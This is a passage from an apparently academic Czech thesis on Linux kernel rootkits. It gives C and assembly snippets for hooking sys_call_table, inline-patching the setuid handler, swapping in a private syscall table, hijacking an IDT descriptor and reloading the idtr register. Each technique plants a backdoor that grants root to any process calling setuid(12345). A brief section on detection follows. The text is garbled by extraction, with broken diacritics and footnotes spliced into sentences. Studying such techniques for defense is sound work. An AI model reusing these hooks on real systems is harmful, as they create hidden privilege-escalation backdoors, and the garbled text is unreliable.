(idt_system_call->offset15_00)); //Zisk adresy rutiny sys. volán´ı Pro nalezen´ı adresy tabulky systémových volán´ı mus´ıme opˇet pouˇz´ıt heuristické metody. Vyuˇzijeme znalosti, ˇze rutina systémového volán´ı obsahuje pouze jediné funkˇcn´ı volán´ı call *sys call table(,%eax,4), v kterém je hledaná adresa obsaˇzena. V hexadecimáln´ım strojovém záznamu se jedná o ˇretˇezec tvaru 0xff 0x14 0x85 0x[sys call table], který mus´ı funkce obsahovat. Zbývá nám tedy pouze identifikovaný vzor vyhledat. Kód procházej´ıc´ı rutinu systémového volán´ı za úˇcelem vyhledán´ı tabulky systémových volán´ı m˚uˇze vypadat takto:

unsigned char *walker = (char *)system_call; //Adresa rutiny while(limit--) { //maxim´aln´ı moˇzn´a hloubka zanoˇren´ı, limit=1000

if (walker[0] == 0xff && walker[1] == 0x14 && walker[2] == 0x85)

return (unsigned long**)(&walker[3]); //Adresa sys_call_table walker++; //Zkoumaná pozice v rutinˇe systémového volán´ı }

Funkˇcn´ı demonstrace se nacház´ı pod ˇc´ıslem iv pˇr´ılohy A. Jelikoˇz se jedná o dopo-sud nejrychlejˇs´ı a nejspolehlivˇejˇs´ı metodu, bude pouˇz´ıvána i v dalˇs´ıch pˇr´ıkladových modulech.

V pˇr´ıpadˇe, ˇze známe adresu sys call table, nám jiˇz nic nebrán´ı provést naˇse prvn´ı pˇresmˇerován´ı. Metody budeme testovat proti jiˇz zm´ınˇenému systémovému volán´ı setuid(), které umoˇzˇnuje zmˇenu úrovnˇe oprávnˇen´ı aktuálnˇe bˇeˇz´ıc´ıho procesu. Tuto sluˇzbu nahrad´ıme vlastn´ı verz´ı new sys setuid, která nám, v pˇr´ıpadˇe pˇredán´ı vhodnˇe zvoleného parametru, pˇridˇel´ı maximáln´ı moˇzná práva. Funkce new sys setuid() bude vypadat následovnˇe:

asmlinkage long new_sys_setuid(uid_t uid) {

if (uid == MAGIC_NUMBER) { //#define MAGIC_NUMBER 12345

current->uid=0; //V pˇr´ıpadˇe vyvolán´ı funkce s parametrem current->gid=0; //12345 z´ıská proces maximáln´ı práva }

return old_sys_setuid(uid);//Zachov´an´ı p˚uvodn´ı funkce sys_setuid() }

Zbývá jen provést zámˇenu v tabulce systémových volán´ı. Tu demonstruje modul ˇc. v v pˇr´ıloze A. Kód, kdy zamˇen´ıme poloˇzku v tabulce systémových volán´ı, vypadá následovnˇe:

(29)

old_sys_setuid = sys_call_table[__NR_setuid];//P˚uvodn´ı fce. sys_setuid() sys_call_table[__NR_setuid] = new_sys_setuid;//Nov´a fce. sys_setuid()

2. Obsluˇzn´a rutina

Systémov´ı administrátoˇri brzy zaˇcali tabulku systémových volán´ı kontrolovat. Jednalo se o test shody s hodnotami, které mˇela tabulka pˇri prvn´ım zaveden´ı systému. Tedy v dobˇe, kdy jeˇstˇe nemohla být nijak pozmˇenˇena. Nutnost´ı útoˇcn´ıka je zachovat tabulku v nezmˇenˇeném stavu. Prvn´ı moˇznost je zamˇeˇrit se na zmˇenu toku ˇr´ızen´ı po vyvolán´ı obsluˇzné rutiny. Toho m˚uˇzeme dosáhnout absolutn´ım skokem jmp um´ıstˇeným ihned po zaˇcátku funkce. Konkrétnˇe m˚uˇze j´ıt o kód

movl $0,%eax --> po pˇreloˇzen´ı "\xb8\x00\x00\x00\x00" jmp *%eax --> po pˇreloˇzen´ı "\xff\xe0"

který po pˇreloˇzen´ı do strojového kódu dá výsledek "0xb8 0x[sys hack] 0xff 0xe0". Jedná se o prvn´ıch 7B obsluˇzné rutiny, které si mus´ıme pˇred pˇrepsán´ım skokem zapa-matovat, abychom je mohli v pˇr´ıpadˇe potˇreby obnovit. Celý proces výmˇeny prvn´ıch 7B u funkce sys setuid() vypadá následovnˇe:

static char old_code[7]; //P˚uvodn´ıch 7B funkce sys_setuid() static char new_code[7] = //Nových 7B (jmp) funkce sys_setuid() "\xb8\x00\x00\x00\x00" //Na m´ısto &new_code[1] mus´ıme pˇred "\xff\xe0"; //pouˇzit´ım dosadit adresu volané funkce &new_code[1] = new_sys_setuid; //Dosazen´ı volané fce. new_sys_setuid() _memcpy(old_code,sys_call_table[__NR_setuid],sizeof(old_code));

_memcpy(sys_call_table[__NR_setuid],new_code,sizeof(new_code));

Velmi ˇcasto vˇsak potˇrebujeme námi upravenou obsluˇznou rutinu sami volat a jej´ı návratovou hodnotu vyuˇz´ıt. K tomuto úˇcelu si m˚uˇzeme na krátký okamˇzik rutinu opravit a po navrácen´ı jej´ıho výsledku ji opˇet zmˇenit do jej´ı p˚uvodn´ı skokové podoby: _memcpy(sys_call_table[__NR_setuid],old_code,sizeof(old_code));//Oprava ret=((long (*)(uid_t uid))sys_call_table[__NR_setuid])(uid); //Volán´ı _memcpy(sys_call_table[__NR_setuid],new_code,sizeof(new_code));//Zmˇena Funkˇcn´ı doprovodný program se nacház´ı v pˇr´ıloze A pod ˇc´ıslem vi.

3. Rutina systémového volán´ı

Dalˇs´ı moˇznost´ı je pˇrestat origináln´ı tabulku systémových volán´ı pouˇz´ıvat. Znamená to pro nás vytvoˇrit si vlastn´ı privátn´ı kopii tabulky. V takto vzniklé tabulce jiˇz m˚uˇzeme provádˇet zmˇeny relativnˇe beztrestnˇe12_{, protoˇ}_{ze syst´}_{em o ni nevede ˇ}_z´_adn´_{y z´}_aznam. new_sys_call_table=kmalloc(sizeof(unsig long*)*NR_syscalls,GFP_KERNEL); _memcpy(new_sys_call_table, old_sys_call_table, //Kop´ırován´ı tabulky sizeof(unsigned long*)*NR_syscalls); //systémových volán´ı new_sys_call_table[__NR_setuid] = new_sys_setuid; //Nová sys_setuid() 12

(30)

Zbývá jiˇz pˇrepsat odkaz v rutinˇe systémového volán´ı tak, aby zaˇcala námi vytvoˇrenou tabulku pouˇz´ıvat. Prostudujeme-li zp˚usob, jakým z´ıskáváme adresu tabulky syst´ e-mových volán´ı pomoci trasován´ı (kap. 2.2.1), zjist´ıme, ˇze adresu jiˇz dobˇre známe. P˚uvodnˇe jsme ji pouˇz´ıvali pro zisk odkazu na tabulku systémových volán´ı. Nyn´ı pˇrep´ıˇseme samotný odkaz, aby ukazoval na naˇs´ı novou tabulku new sys call table. Demonstraˇcn´ı program lze nalézt pod ˇc. vii pˇr´ıloha A.

V pˇr´ıpadˇe, ˇze naˇse architektura podporuje rozˇs´ıˇren´ı o sysentr (poz. 6), jsme vˇsak jeˇstˇe neskonˇcili. Je velmi pravdˇepodobné, ˇze mnoho program˚u bude z d˚uvod˚u vyˇsˇs´ı efektivity vykonáván´ı kódu instrukci sysentr upˇrednostˇnovat pˇred pouˇzit´ı pˇreruˇsen´ı int $0x80. Nezbývá neˇz nalézt kód i této rutiny. Studiem souboru entry.S13 dospˇ e-jeme k závˇeru, ˇze obsluˇzná funkce je z naˇseho pohledu témˇeˇr identická a nacház´ı se nˇekde tˇesnˇe nad funkc´ı rutiny systémového volán´ı. Vyuˇzit´ım jiˇz dobˇre známého heuris-tického zp˚usobu, nyn´ı vˇsak opaˇcným smˇerem neˇz v prvém pˇr´ıpadˇe (m´ısto walker++ je walker--), nalezneme i jej´ı odkaz do tabulky systémových volán´ı. Pro kontrolu správnosti vyhledáván´ı nám poslouˇz´ı fakt, ˇze obˇe rutiny pouˇz´ıvaj´ı stejnou tabulku. Výsledky um´ıstˇen´ı tabulky tedy mus´ı být totoˇzné. Rozˇs´ıˇren´ı pˇredeˇslého programu ˇc. vii, kdy zmˇen´ıme odkaz na tabulku systémových volán´ı i v rutinˇe vyvolané in-strukc´ı sysentr, lze nalézt pod ˇc. viii v pˇr´ıloze A.

4. Tabulka pˇreruˇsen´ı

Jinou, pro útoˇcn´ıka neménˇe zaj´ımavou destinac´ı, je tabulka pˇreruˇsen´ı. I kdyˇz by se mohlo na prvn´ı pohled zdát, ˇze se jedná v podstatˇe o to samé jako v pˇr´ıpadˇe tabulky systémových volán´ı, nen´ı to tak úplnˇe pravda. Celý tento podsystém je mnohem úˇzeji svázán s konkrétn´ı architekturou a operaˇcn´ım systémem. V drtivé vˇetˇsinˇe je napsán v assembleru.

Naˇs´ım c´ılem bude pˇredˇradit rutinˇe systémového volán´ı rutinu vlastn´ı. V n´ı budeme testovat pˇredávané hodnoty a v pˇr´ıpadˇe volán´ı funkce sys setuid() s paramet-rem uid == 12345 pˇridˇel´ıme právˇe bˇeˇz´ıc´ımu procesu maximáln´ı práva. Celý úkol rozdˇel´ıme na dvˇe ˇcásti:

(a) Meziˇclánek v assembleru – má za úkol vytvoˇrit základn´ı prostˇred´ı pro vyˇsˇs´ı programovac´ı jazyk. Jedná se pˇredevˇs´ım o úschovu a obnovu programovac´ıho modelu spolu s pˇredán´ım parametr˚u funkci napsané v jazyku C.

new_int:

pushl %%es \

pushl %%ds |

pushl %%eax +-- ´uschova prog. modelu

... |

pushl %%ebx /

pushl %%esp //Promˇenn´a ’regs’ ve funkci pre_system_call() call *hijack //Zavol´an´ı funkce pre_system_call()

popl %%esp

popl %%ebx \

... |

popl %%eax +-- obnova prog. modelu

popl %%ds |

13

(31)

popl %%es /

jmp *old_int //Pokraˇcuj na p˚uvodn´ı rutinˇe systémového volán´ı

(b) Funkce v C – mus´ı z registrových parametr˚u, které se nyn´ı nacházej´ı na zásobn´ıku v jasnˇe definovaném poˇrad´ı, identifikovat pˇr´ıpady, kdy má doj´ıt k pozmˇenˇen´ı výpoˇctu. K parametr˚um pˇristupuje pˇres strukturu struct pt regs * regs, napˇr. regs->eax.

asmlinkage void pre_system_call(struct pt_regs * regs) {

switch(regs->eax) //Zjisti, o jaké systémové volán´ı se jedná {

case __NR_setuid: //Sys. vol´an´ı sys_setuid()

if (regs->ebx == 12345) { //Parametr uid == 12345 current->uid=0; //Zmˇeˇn pr´ava prob´ıhaj´ıc´ıho current->gid=0; //procesu na maxim´aln´ı } break; default: break; } }

Nyn´ı jiˇz staˇc´ı doplnit adresy funkc´ı namapovan´ych v pamˇeti do funkce new int() a zmˇenit pˇr´ısluˇsn´y deskriptor v tabulce pˇreruˇsen´ı:

old_int = get_descriptor_offset(idt_system_call);//P˚uvodn´ı r.sys.vol´an´ı

hijack = pre_system_call; //Naˇse "Funkce v C"

set_descriptor_offset(idt_system_call, new_int); //Nová r.sys.volán´ı Ukázkový modul se nacház´ı pod ˇc. ix v dodatku A.

5. CPU registr idtr

Moˇznost´ı modifikovat pˇr´ımo procesorový registr idtr se zat´ım ˇzádný ˇclánek ani root-kit nezabýval. M˚uˇzeme t´ım dosáhnout pˇresmˇerován´ı jiˇz v samotném zárodku pˇreruˇsen´ı a dostat pod kontrolu veˇskeré následné dˇen´ı. Prvn´ım pˇredpokladem je vytvoˇrit si vlastn´ı tabulku pˇreruˇsen´ı a v n´ı pak provést potˇrebné modifikace. Vlastn´ı kopii ta-bulky pˇreruˇsen´ı z´ıskáme následovnˇe:

old_idt_table = get_idt_table(); //P˚uvodn´ı tabulka pˇreruˇsen´ı new_idt_table = (unsigned long*) //Alokace prostoru pro novou

kmalloc(sizeof(struct idt_descriptor)*IDT_SIZE, GFP_KERNEL); _memcpy(new_idt_table,old_idt_table, //Nov´a tabulka pˇreruˇsen´ı

sizeof(struct idt_descriptor)*IDT_SIZE);

Zmˇeny v námi okop´ırované tabulce provád´ıme úplnˇe stejnˇe jako v pˇredeˇslé metodˇe, kdy jsme útoˇcili na origináln´ı tabulku pˇreruˇsen´ı:

(32)

idt_system_call = get_idt_descriptor(new_idt_table, SYSTEM_CALL_NUMBER); old_int = get_descriptor_offset(idt_system_call); //P˚uvodn´ı r.sys.vol´an´ı

hijack = pre_system_call; //Naˇse "Funkce v C"

set_descriptor_offset(idt_system_call, new_int); //Nov´a r.sys.vol´an´ı

Posledn´ım ´ukolem je zmˇenit odkaz v registru idtr z origin´aln´ı tabulky na tabulku naˇsi, modifikovanou. To provedeme pˇres instrukci lidt14:

asm volatile("sidt %0" : "=m" (idtr)); //Zisk adresy tabulky pˇreruˇsen´ı idtr.idt_table = new_idt_table; //Modifikace adresy tab. pˇreruˇsen´ı asm volatile("lidt %0" :: "m" (idtr)); //Uloˇzen´ı adresy tab. pˇreruˇsen´ı Uk´azku lze nal´ezt v pˇr´ıloze A pod ˇc. x.

Nejˇcastˇeji pouˇz´ıvaný zp˚usob útoku na rozhran´ı systémových volán´ı je útok na tabulku systémových volán´ı nebo na rutinu systémového volán´ı. Obl´ıbenost tˇechto zp˚usob˚u tkv´ı v jejich jednoduchosti a nenesou s sebou ˇzádná omezen´ı. Metoda zmˇeny prvn´ıch 7B v ob-sluˇzné rutinˇe je pouˇzitelná na libovolnou funkci. Jej´ı nejvˇetˇs´ı nevýhodou je fakt, ˇze jej´ı kód nemohou vykonávat dva procesy zároveˇn (z d˚uvodu ukládán´ı a obnovován´ı onˇech úvodn´ıch 7B). Tuto kritickou sekci mus´ı chránit napˇr. spinlock. Princip pojmenovaný jako tabulka pˇreruˇsen´ı patˇr´ı ke zp˚usob˚um pokroˇcilým, vyˇzaduj´ıc´ı ˇcást implementace v assembleru. Jeho rozˇs´ıˇren´ım jsme objevili zp˚usob nový, pojmenovaný jako CPU registr idtr. Ten je ze vˇsech zp˚usob˚u nejsloˇzitˇejˇs´ı a v praxi zat´ım nebyl pouˇzit ani diskutován.

Moˇznosti obrany a detekce

Nejobvyklejˇs´ı zp˚usobem ochrany pˇred podobným typem útok˚u je kontrola vˇsech hodnot, které m˚uˇze útoˇcn´ık zmˇenit. Pˇri tom se doporuˇcuje ˇc´ıst hodnoty po bytech, nebot’ útoˇcn´ık m˚uˇze úpravou systémového volán´ı read() maskovat svoji pˇr´ıtomnost v systému. Zaj´ımavou myˇslenkou m˚uˇze být i poˇc´ıtán´ı dlouhodobého pr˚umˇeru vykonaných instrukc´ı15_{. Vych´}_az´ı z faktu, ˇze jakákoliv modifikace pˇridává výkonný kód a t´ım pádem zpomaluje celý systém. Uˇz z podstaty se jedná o jakousi fuzzy metodu, kterou je tˇreba podpoˇrit dalˇs´ımi mˇeˇren´ımi.

2.2.2 Napaden´ı virtuáln´ıho souborového systému

Jak plyne z kapitoly 1.2.4, nacház´ı se virtuáln´ı souborový systém na niˇzˇs´ı vrstvˇe neˇz rozhran´ı systémových volán´ı. Tvoˇr´ı spojuj´ıc´ı vrstvu mezi abstraktn´ım systémovým volán´ım a skuteˇcnou implementac´ı souborového systému (obr. 2.3). Výsledkem je, ˇze uˇzivatel je od souborového systému kompletnˇe odst´ınˇen a pˇr´ıstup k nˇemu provád´ı výhradnˇe a jen pˇres systémová volán´ı. Ty pak na základˇe um´ıstˇen´ı souboru v souborovém systému vyberou konkrétn´ı metodu pro pˇr´ıstup k fyzickému médiu.

Virtuáln´ı souborový systém rozliˇsuje tyto ˇctyˇri druhy struktur:

1. superblok – informace o souborov´em syst´emu (filesystem metadata), 2. i-uzel – informace a identifikace souboru (file metadata),

14_{Instrukce lidt napln´ı registru idtr sv´}_{ym 5 slabikov´}_{ym operandem.} 15